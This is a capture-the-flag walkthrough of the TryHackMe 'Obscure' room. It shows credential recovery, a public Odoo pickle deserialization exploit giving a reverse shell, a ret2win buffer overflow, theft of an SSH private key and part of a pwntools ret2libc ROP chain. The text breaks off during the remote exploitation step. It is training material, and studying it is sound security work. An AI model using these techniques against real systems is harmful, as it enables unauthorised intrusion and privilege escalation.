# Obscure

{% embed url="<https://tryhackme.com/room/obscured>" %}

## Recon

First of all we are looking for open ports using nmap with&#x20;

```
nmap -sT -sC -sV <target's ip address>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrpTz3F8pyCkH3GGu5Yih%2Fimage.png?alt=media&#x26;token=c84e2369-b8e3-4c39-9081-c61ff77b21ab" alt=""><figcaption></figcaption></figure>

We have 3 open ports:

* 21 FTP
* 22 SSH&#x20;
* 80 HTTP&#x20;

Peeking into the ftp with anonymous user reveals 2 files:

* notice.txt
* password

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4h5033qCF9TvAjyLhB80%2Fimage.png?alt=media&#x26;token=599418e4-1de3-4720-ae1a-605232b206c7" alt=""><figcaption></figcaption></figure>

Looking into notice.txt gives us a hint on a possible domain `antisoft.thm`. We might need that later.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fedmu6ygEaMAYtar9TKuz%2Fimage.png?alt=media&#x26;token=fea98003-8ab2-42f1-863f-630204f017e6" alt=""><figcaption></figcaption></figure>

The password file is a 64bit executable binary. Making it executable and running it, it prompts us for an user id to recover a password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzP9MX9ae2yDYpYmRWe3O%2Fimage.png?alt=media&#x26;token=fd2f5906-28ed-4ac5-99a2-ba0aa0fb2d84" alt=""><figcaption></figcaption></figure>

With `strings` we hope to get any printable strings of the binary giving us any hint for the password or user id. `971234596` might be it.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnoIQLDZQsbACsWYzAE4I%2Fimage.png?alt=media&#x26;token=14c9d846-2ee5-472c-8fd0-41a5131acf86" alt=""><figcaption></figcaption></figure>

Using `971234596` gives us the Password `SecurePassword123!`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3TYkrAOe4rVuxq3n4X0a%2Fimage.png?alt=media&#x26;token=77042beb-cfd1-4970-a31b-94da7dd542d1" alt=""><figcaption></figcaption></figure>

## Getting initial access and 1st flag

Next, we visit the webpage and land on a login page of odoo. We have a password but are missing the user. Peeking on the site, there is a link to manage databases.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fxudm2tersywVG2Ra6sjF%2Fimage.png?alt=media&#x26;token=1cf88541-2bab-422d-a061-4a35dc21274f" alt=""><figcaption></figcaption></figure>

Clicking on that, we are able to get a backup of the database providing a password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrUDrIG1kUBRxkJYCB9FX%2Fimage.png?alt=media&#x26;token=5d8a58eb-151c-4e37-a6ad-ad6683be12bf" alt=""><figcaption></figcaption></figure>

Using the password of the recovery binary we get a zip file containing `dump.sql`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdZwIfmmcG3nKA4tV1fqg%2Fimage.png?alt=media&#x26;token=b56ba19c-80e3-4f53-b7dd-9f800d5472fb" alt=""><figcaption></figcaption></figure>

Grepping for the domain `antisoft.thm`, hinted by the `notice.txt`, we get the user `admin@antisoft.thm`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmhJaAPbCXqZsod6ijawQ%2Fimage.png?alt=media&#x26;token=d6cd53a9-552a-491b-83c2-620e0317bd33" alt=""><figcaption></figcaption></figure>

Next, we try the user `admin@antisoft.thm` with the already known password `SecurePassword123!` before we try to crack the hash. Maybe the password was reused.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2jGNpW0xxA0zzug2vOpK%2Fimage.png?alt=media&#x26;token=db035704-81a9-4047-bd27-6e14a7c707b2" alt=""><figcaption></figcaption></figure>

We got in with the credentials and are able to check out the running version of odoo

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRaJubr7npjVxluTxKEGV%2Fimage.png?alt=media&#x26;token=8736de03-08ff-420b-8ad3-f1b4e538999b" alt=""><figcaption></figcaption></figure>

Given the version 10 we will find an exploit on exploit-db:

{% embed url="<https://www.exploit-db.com/exploits/44064>" %}

With a fix of intendation and swap out payload and performing the steps given in the exploit, we are able to get a reverse shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fg17JqJe2keg6JOXSGako%2Fimage.png?alt=media&#x26;token=18174ceb-35d0-4a0c-b74a-ffa002497105" alt=""><figcaption></figcaption></figure>

running script with python2.7 to create the `exploit.pickle` which will have to use

```
python2.7 44064.py
```

set up a listener on 4444

```
nc -lnvp 4444
```

In odoo you have to install the Database Anonymization App, anonymize the database, reload the page, upload the generated pickle and reverse the anonymization which executes the pickle.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMp8r3Yp2SgzXZ7t41me9%2Fimage.png?alt=media&#x26;token=6e19881f-b8fd-4a2d-9cb7-f68a09884e7d" alt=""><figcaption><p>Installing Database Anonymization on odoo</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4Vz7diSKgL57M2MK1e4z%2Fimage.png?alt=media&#x26;token=f9c733da-adcd-4338-816d-e072d5c9492d" alt=""><figcaption><p>Anonymize Database</p></figcaption></figure>

Reload the page

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fpcs5kGgoL6SOw0fzKTeI%2Fimage.png?alt=media&#x26;token=264c3903-9031-47c5-8385-e613fef51ce7" alt=""><figcaption><p>Upload pickle</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXuVcgA7eJz5jROjot2xV%2Fimage.png?alt=media&#x26;token=482e711b-cb7a-44f9-97d1-5d0d5e490be7" alt=""><figcaption><p>Revert the anonymization</p></figcaption></figure>

Getting the reverse shell:&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzHkNxPQk8fOXo2QPzxWu%2Fimage.png?alt=media&#x26;token=4837d55c-822b-4874-86bb-1cdc794c4fbe" alt=""><figcaption><p>Getting a reverse shell</p></figcaption></figure>

Next, we upgrade the shell

{% hint style="info" %}
{% code title="Upgrade shell" %}

```sh
SHELL=/bin/bash scrip -q /dev/null
STRG+Z
stty raw -echo && fg
```

{% endcode %}
{% endhint %}

Checking the user gives us odoo

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKCPwkO68NswX7L4cvhSb%2Fimage.png?alt=media&#x26;token=4f71b465-1767-4e51-8866-fa3da9968b06" alt=""><figcaption></figcaption></figure>

The first flag can be found in the users directory of odoo: `/var/lib/odoo`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fff5SCL9lpYf7Z2DbwewQ%2Fimage.png?alt=media&#x26;token=c3d21e1e-217d-41cd-9f34-14e9545f298e" alt=""><figcaption></figcaption></figure>

During enumeration, the binary `ret` in the root folder stood out, which set a `SUID bit`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaNnOetHAiezfVi0lCgtt%2Fimage.png?alt=media&#x26;token=56eee1ab-59f9-4f54-b42e-10b4f10df9e5" alt=""><figcaption></figcaption></figure>

Running the binary reveals that we have to exploit it to get on the box.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9EnqoZ0E7ubdx2ndjP9z%2Fimage.png?alt=media&#x26;token=d30046bb-de64-48c6-9ba0-c53d00ae52a3" alt=""><figcaption></figcaption></figure>

We are getting ret on the attack box for further investigation with nc

{% hint style="info" %}
File transfer via nc

on the receiving end run&#x20;

`nc -l -p <PORT> > <FILENAME>`

\
to send the file&#x20;

`nc -w 3 <TARGET-IP> <PORT> < <FILENAME>`
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeVHeyzAtgyRyEVBtCu27%2Fimage.png?alt=media&#x26;token=80b82610-e9ab-449f-b860-7571ff918b4e" alt=""><figcaption></figcaption></figure>

The file `ret` is a 64Bit executable with NX set.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FONhx7mYMw3ibSqoiOVJM%2Fimage.png?alt=media&#x26;token=cdc43cdf-8949-4c6b-a72c-4d90eaeda147" alt=""><figcaption></figcaption></figure>

opening `ret` in ghidra and inspecting `main`, we see it's calling the `vuln()` function&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLwqt1HM2fY2bGJxegaNX%2Fimage.png?alt=media&#x26;token=bfc85647-4a2d-47c8-9351-cc8ecfbda7cc" alt=""><figcaption></figcaption></figure>

`The vuln()` function uses `gets()`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeiQR3lnZdIUFyXWuvv8t%2Fimage.png?alt=media&#x26;token=148bc8da-718e-4440-8ba2-5044d6911146" alt=""><figcaption></figcaption></figure>

And the `win()` function is calling `system(/bin/sh)`&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0edKlUjPr6FceiPUecPY%2Fimage.png?alt=media&#x26;token=6b448a36-5853-4e3f-8063-3a269f90c856" alt=""><figcaption></figcaption></figure>

The `win()`  function address is 0x400646

## Binary Exploitation for 2nd flag

For further exploitation we use `gdb` with `gef`

{% embed url="<https://github.com/hugsy/gef>" %}

We run gdb with the binary `gbd ret` and start the execution with `r`. Entering 200 A's  gives us a SEGFAULT

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYnv2MsK4XKWKdkMKsRU3%2Fimage.png?alt=media&#x26;token=d343d640-5aeb-481b-96a9-78b7f1052a13" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUfiTrBuAXX7FZPY2XBaK%2Fimage.png?alt=media&#x26;token=d4a3721b-0330-4cd0-ad4f-0de242af5b91" alt=""><figcaption></figcaption></figure>

Next, we create a pattern to determine the $rsp location

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3JwxKmMR03PlWvw6mfOd%2Fimage.png?alt=media&#x26;token=122b0a38-6740-4480-8cd6-166a59aacd4f" alt=""><figcaption></figcaption></figure>

Getting an offset of 136 until we reach `$rsp`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiDp2MjySS6L8RPyMljuN%2Fimage.png?alt=media&#x26;token=6b44b9c4-ad3d-4fa2-b322-62aedcb5e1ef" alt=""><figcaption></figcaption></figure>

For validation we create a string of 136 A's and 8 B's and enter it into the binary.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZApvjeu77qoLfT7aVM7m%2Fimage.png?alt=media&#x26;token=1c3ffc11-9ad9-4687-95c2-0a53f928c61a" alt=""><figcaption></figcaption></figure>

And the `$rsp` is filled up with B's

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzQlCsNlakM6bV4Rmhp8b%2Fimage.png?alt=media&#x26;token=427cdee3-f8cd-492c-9c42-1021d2d4c84c" alt=""><figcaption></figcaption></figure>

Building the payload, instead of 8 B's we enter the address of the `win()` function, which then will be executed

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fhs4lnbgKIZp5L5tEJOj2%2Fimage.png?alt=media&#x26;token=9337ee23-528a-4100-821f-667b8c645a71" alt=""><figcaption></figcaption></figure>

Testing  it locally, we get the response, that indicates we reached the `win()` function running `/bin/sh`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7dGHzZymllq84cYWGv7N%2Fimage.png?alt=media&#x26;token=b119e04c-447a-404f-b3f0-35bfb9c0a05c" alt=""><figcaption></figcaption></figure>

Publishing the payload via python webserver

![](https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAoCgVG0Glyx9UqBQZEzS%2Fimage.png?alt=media\&token=7aebfcb8-e1a9-415c-93e3-d2ddcdf128ab)![](https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FE5sC63KW50JEUa2quKm2%2Fimage.png?alt=media\&token=b76e93e0-704a-4110-b514-4b2628127004)

In the next steps we tried to pass the payload to the binary resulting in a `SEGFAULT` on the target machine

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5CkDWzKbwjzc1NhpyDq6%2Fimage.png?alt=media&#x26;token=914883f9-2b4a-40ca-9d07-a6527db4cf6a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnSAD0gLYAnxSd7mfCTla%2Fimage.png?alt=media&#x26;token=82002fcf-a699-433c-9b61-021470406274" alt=""><figcaption></figcaption></figure>

The trick is to keep the stdin open, so we stay in the running shell. One way to do this is piping cat

{% hint style="info" %}
(cat payload; cat) | ./binary
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsnCxejqMLWjinaRv0Tal%2Fimage.png?alt=media&#x26;token=3af5e598-fdc5-47c7-937b-76d12418eeef" alt=""><figcaption></figcaption></figure>

And we are root as the effective user. But looking at `/` we found a `.dockerenv` file, giving us the hint that we are in a docker container. Looking into /root/root.txt gives us the hint, that we are not done yet. At this point I was highly confused and distracted. I searched for a way to escape  docker, completely forgetting that this machine focuses on binary exploitation. After a long break I came to the idea that the binary might be hosted on the docker host machine...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsGsmOjQScatjsShZLUF9%2Fimage.png?alt=media&#x26;token=d9efd791-26e7-4de8-a2c9-87dcb8f3398a" alt=""><figcaption></figcaption></figure>

While enumerating as odoo we find 2 entries in the host file 172.17.0.2 and 172.17.0.3.&#x20;

With a bit of luck I used a static version of nmap to not just scan 172.17.0.2, 172.17.0.3, but also 172.17.0.1 which reveals us a port at 4444. Nmap was not part of the target machine. To get the static version of nmap on the machine a python webserver can be used like we did with payload.p.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIKrFvVrNoWPBP1uzprnr%2Fimage.png?alt=media&#x26;token=44777f69-e30d-476a-8f88-e6d842bb6659" alt=""><figcaption></figcaption></figure>

Connecting to the port `4444` on `172.17.0.1` prompts us with the same message as running `ret` locally

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdNxRP52TykZHKaJzxqka%2Fimage.png?alt=media&#x26;token=29e71d87-bfb3-45d8-b260-cc05c4d31f33" alt=""><figcaption></figcaption></figure>

Piping the payoad to the `nc` connection we get on the box as zeeshan

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnQPS0BnLA18PkLyG8qgX%2Fimage.png?alt=media&#x26;token=ae11e620-917c-403e-a423-5cddd7c19958" alt=""><figcaption></figcaption></figure>

In the home directory of zeeshan the second flag is located.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKoAHaCFtoJqbjZ7XdZ2g%2Fimage.png?alt=media&#x26;token=b0c17f7a-4835-4a3d-9186-c74ecfc72d6c" alt=""><figcaption></figcaption></figure>

Next, there is a `.ssh` folder containing a private and public key of the user zeeshan. We save the private key `id_rsa` for further steps

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCbE5sO4HH9KvaOziniHP%2Fimage.png?alt=media&#x26;token=52b0e72b-4d59-4b6a-95b4-ee6b3ceb974a" alt=""><figcaption></figcaption></figure>

## More binary exploitation and 3rd flag

At this point I restarted the machine, so the target IP changes from `10.10.77.17` to `10.10.65.66`

{% hint style="info" %}
Helpful resources understanding ret2libc&#x20;

<https://www.youtube.com/watch?v=TTCz3kMutSs>

<https://tryhackme.com/room/ret2libc>

I highly recommend the resources and practicing the ret2libc room before continuing

For further reading i recommend ir0nstones gitbook

<https://ir0nstone.gitbook.io/notes/>
{% endhint %}

Check if we can connect with the found ssh key

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnks894C997POVMbK2KBp%2Fimage.png?alt=media&#x26;token=5db0c1f1-e959-48f2-af34-5f11814b6ac2" alt=""><figcaption></figcaption></figure>

Searching for files with suid bit set leads us to `exploit_me` in the root directory

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fm7VIaureRTSD27u2AfP3%2Fimage.png?alt=media&#x26;token=aca3c6fa-eec0-45a4-b2d4-012a7eddf525" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNKT3uxFTBKliVRay5Uo0%2Fimage.png?alt=media&#x26;token=96dc0ca6-c128-4d63-a73d-6510cbb84fea" alt=""><figcaption></figcaption></figure>

Running the file prompts us with a hint to exploit it in order to gain `root`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fhlu5idNDpyvTifrSWyQz%2Fimage.png?alt=media&#x26;token=826b151c-5c99-4af5-9460-964d94da0676" alt=""><figcaption></figcaption></figure>

Downloading the `exploit_me` binary using scp&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5a5UyzzVLTiDAb2ZZt8O%2Fimage.png?alt=media&#x26;token=06762e2e-f0de-4f09-a2bc-22f0c696bf31" alt=""><figcaption></figcaption></figure>

It's a 64bit binary executable

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fcs6DR7p0FTr81rjLCAAf%2Fimage.png?alt=media&#x26;token=ea644cda-87ba-43d6-9e6b-438786dc785b" alt=""><figcaption></figcaption></figure>

Running checksec on `exploit_me` shows us NX is enabled like `ret`&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxUjxHJhF0eWseaI2Gd7q%2Fimage.png?alt=media&#x26;token=a23cca95-8af9-499d-9a1f-5b740e40b654" alt=""><figcaption></figcaption></figure>

Next, we decompile the binary using Ghidra. This time we dont have any functions calling `system`. With the NX enabled we aren't able to execute shell code written to the stack. This indicates that we have to use already linked libraries of the binary with return oriented programming using the dynamically linked library libc. Libc provides us the functions `system` and the string `/bin/sh`, so if we are able to call these, we are able to get a shell.&#x20;

In the main function are the function calls `setuid()`, `puts()` and `gets()`. `Setuid(0)` executes the program as root, next it `puts()` a string and after that it calls `gets()` for an user input.&#x20;

ASLR is enabled on the target machine which randomizes the adress of the linked library libc.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi3rGdF9GCHpHLrLO7uxf%2Fimage.png?alt=media&#x26;token=09e0779b-0968-4b09-a698-3d4a073b9596" alt=""><figcaption></figcaption></figure>

We need to leak the adresses of puts, gets and setuid to determine the used libc on the machine, and calculate the relative offset of the address of the gets function to the addresses of the functions `system` and the string `/bin/sh` in the used libc.&#x20;

To leak the adresses we make use of the function `puts` and `gets` run in main.

We build a ROP chain which leaks GOT adresses of gets, puts and setuid by writing the GOT.function address to the rdi register, calling the PLT.puts function and running `main` again.

{% code title="Example for GOT.gets" %}

```
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.gets)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)
```

{% endcode %}

With the leaked addresses we determine the libc library version. To calculate the offset relative to the leaked gets function address, we are able to get the `/bin/sh` string address and `system` function address using those to build another ROP chain to write `/bin/sh` to `rdi` executing `system` to get a shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmIxtxoEIOjceHSxwnimu%2Fimage.png?alt=media&#x26;token=b3669ca8-72a9-464b-bb7d-d9d1afa5d18b" alt=""><figcaption></figcaption></figure>

Like with the binary `ret` we check for a `SEGFAULT`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiKjXjuReL3lO03uA9PzW%2Fimage.png?alt=media&#x26;token=a2c1a5c7-994f-4e79-b058-882f70ddfe8d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3zZpivSS4nb50tf6YXDv%2Fimage.png?alt=media&#x26;token=fe65ff43-ee8d-4d32-b5c2-196fc478b88a" alt=""><figcaption></figcaption></figure>

Creating a pattern to identify the offset to `$rsp`<br>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fx4YswY60DdVtclNtrDPY%2Fimage.png?alt=media&#x26;token=82acf444-9de7-4c26-a986-97015d533474" alt=""><figcaption></figcaption></figure>

The offset is 40

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXHoJQU5NCuaCy7I9lUzp%2Fimage.png?alt=media&#x26;token=52361904-9a7c-4bf1-a417-9ee885864ee3" alt=""><figcaption></figcaption></figure>

Validating the offset with a string of 40 A's and 8 B's

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3EkMuUlcujNP5p3bt0Th%2Fimage.png?alt=media&#x26;token=841da989-00e3-4577-aebd-27c22a011b5d" alt=""><figcaption></figcaption></figure>

The `$rsp` contains 8 B's

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fz3N4ZLqaOtC5kBCrMDet%2Fimage.png?alt=media&#x26;token=b34b7785-378f-44bf-bf65-224770d1bea0" alt=""><figcaption></figcaption></figure>

### Exploit Locally

The following python program makes use of pwntools to craft the ROP chain.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3c5fCZZz8GH8UnHi6dMw%2Fimage.png?alt=media&#x26;token=810e1f63-25b0-465a-bab4-c10aadafcd78" alt=""><figcaption></figcaption></figure>

Reviewing the leaked adresses shows that the last 12 bit aren't randomized&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKEr0L3f5NLA776P5mlsu%2Fimage.png?alt=media&#x26;token=7227b600-2fe4-47fa-9a80-4a8456b1b6e0" alt=""><figcaption></figcaption></figure>

gets 060

puts 970

setuid 8a0

Using a libc database we are  able to get the used libc library calculated by their offset to each other.

{% embed url="<https://libc.blukat.me/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fa6onJO2heaiFPMaCF9QR%2Fimage.png?alt=media&#x26;token=fdc0778b-bf17-414c-8b62-177f81e59a32" alt=""><figcaption></figcaption></figure>

In the second part of the program shown below, we use the offset relative to the leaked `gets` function address to calculate the system function address and the `/bin/sh` string to write the `/bin/sh address` into the `rdi` and calling `system`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkdcP9WoRpdpO0Av2dG7F%2Fimage.png?alt=media&#x26;token=dfcbbeee-0ece-4ceb-bed0-ca9498b66e01" alt=""><figcaption></figcaption></figure>

Running the script shows our exploit worked locally

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FURITEbey9bnJ1gPQh1Tn%2Fimage.png?alt=media&#x26;token=55adba36-3f84-4f44-b56e-b3a3bf37f94f" alt=""><figcaption></figcaption></figure>

### Exploit Remotely

To exploit the binary on the target machine we have to make use of ssh to establish a connection to the machine. The binary has to run in the context of the machine, because the used library might be different and the leaked PLT adresses change running the binary again.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0MbvbULcHSybrGQent3t%2Fimage.png?alt=media&#x26;token=20baf852-52b0-410b-8197-2533056ef797" alt=""><figcaption></figcaption></figure>

Still, the last 12 bit don't change but are different to the ATTACK BOX.

